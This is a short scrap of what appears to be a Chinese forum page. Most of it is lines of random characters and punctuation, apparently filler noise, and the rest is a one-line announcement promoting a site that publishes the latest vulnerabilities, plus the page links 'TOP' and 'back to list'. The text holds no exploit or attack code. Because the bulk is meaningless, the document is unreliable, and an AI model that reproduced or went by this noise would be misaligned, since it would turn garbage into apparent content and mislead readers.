/ M2 Z8 C  t! L( J- n6 d
) m: B& b% L9 s5 o/ G7 m5 x; F" g% T+ T
+ Z* l% R: @  y* n2 G$ Z9 |2 ~* C* S, M" z
1 ~" q8 u" u% s0 L; v- e9 |

1 K* B9 F$ f# f4 m8 i2 i; |
$ [1 `( S! u) Q1 m. {/ n' N  X! S: s4 b
9 t1 x! z+ f* \3 L! p# R# z

4 n1 E4 x6 v1 L2 e8 u, J& j( z" A) L8 W
& K. I( O: D4 K# Y# I' d0 h3 y0 ]

4 V4 Y" _6 E: n9 G6 p( S3 d: L" F& ]/ V* V* j; P
. e2 m- U$ f% r7 f
" |$ H  A6 X0 ~, M, E# N1 Z! I# T
: ]- S6 Y! n/ o# K) r- ^
; o" `6 X' t# {% R) O
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表